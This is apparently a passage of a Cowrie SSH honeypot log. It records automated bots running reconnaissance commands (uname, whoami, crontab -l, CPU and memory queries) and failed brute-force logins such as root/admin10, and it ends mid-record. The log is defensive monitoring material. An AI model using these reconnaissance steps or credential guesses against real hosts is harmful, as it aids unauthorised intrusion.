{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:43.496022Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:43.942341Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:43.945787Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:44.151507Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:44.589023Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:44.592283Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:44.595335Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:44.803007Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:45.251200Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:45.254072Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:45.459532Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:45.905820Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:45.909001Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:46.115460Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:46.567382Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:46.570928Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:46.777797Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:47.230806Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:47.234144Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:47.440999Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:47.897957Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:47.901692Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.109498Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":50284,"dst_ip":"159.203.135.109","dst_port":22,"session":"66b6d4aa7a68","protocol":"ssh","message":"New connection: 221.139.88.149:50284 (159.203.135.109:22) [session: 66b6d4aa7a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.490541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.495066Z","src_ip":"221.139.88.149","session":"66b6d4aa7a68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.558385Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.561135Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.684873Z","src_ip":"221.139.88.149","session":"66b6d4aa7a68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:48.767478Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:49.212759Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:49.215079Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:49.419466Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234abcd","message":"login attempt [ubuntu/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:49.602182Z","src_ip":"221.139.88.149","session":"66b6d4aa7a68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:49.872992Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:49.875966Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:50.081423Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:50.550780Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:50.553114Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:50.758046Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:50.822171Z","src_ip":"221.139.88.149","session":"66b6d4aa7a68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:51.199481Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:51.202771Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:51.409815Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:51.414508Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":7554,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78f2b6200f8","protocol":"ssh","message":"New connection: 201.149.53.243:7554 (10.17.0.5:22) [session: a78f2b6200f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:16.553530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:16.558381Z","src_ip":"201.149.53.243","session":"a78f2b6200f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:16.624686Z","src_ip":"201.149.53.243","session":"a78f2b6200f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin10","message":"login attempt [root/admin10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:16.921672Z","src_ip":"201.149.53.243","session":"a78f2b6200f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:17.991370Z","src_ip":"201.149.53.243","session":"a78f2b6200f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52848,"dst_ip":"159.203.135.109","dst_port":22,"session":"148d4e289c71","protocol":"ssh","message":"New connection: 159.203.92.129:52848 (159.203.135.109:22) [session: 148d4e289c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:19.063358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:19.070167Z","src_ip":"159.203.92.129","session":"148d4e289c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:19.074654Z","src_ip":"159.203.92.129","session":"148d4e289c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"WL","password":"WL","message":"login attempt [WL/WL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:19.084501Z","src_ip":"159.203.92.129","session":"148d4e289c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:20.109644Z","src_ip":"159.203.92.129","session":"148d4e289c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":42314,"dst_ip":"10.17.0.5","dst_port":22,"session":"812f02079ef9","protocol":"ssh","message":"New connection: 210.183.21.53:42314 (10.17.0.5:22) [session: 812f02079ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:27.982189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:19:27.986862Z","src_ip":"210.183.21.53","session":"812f02079ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nis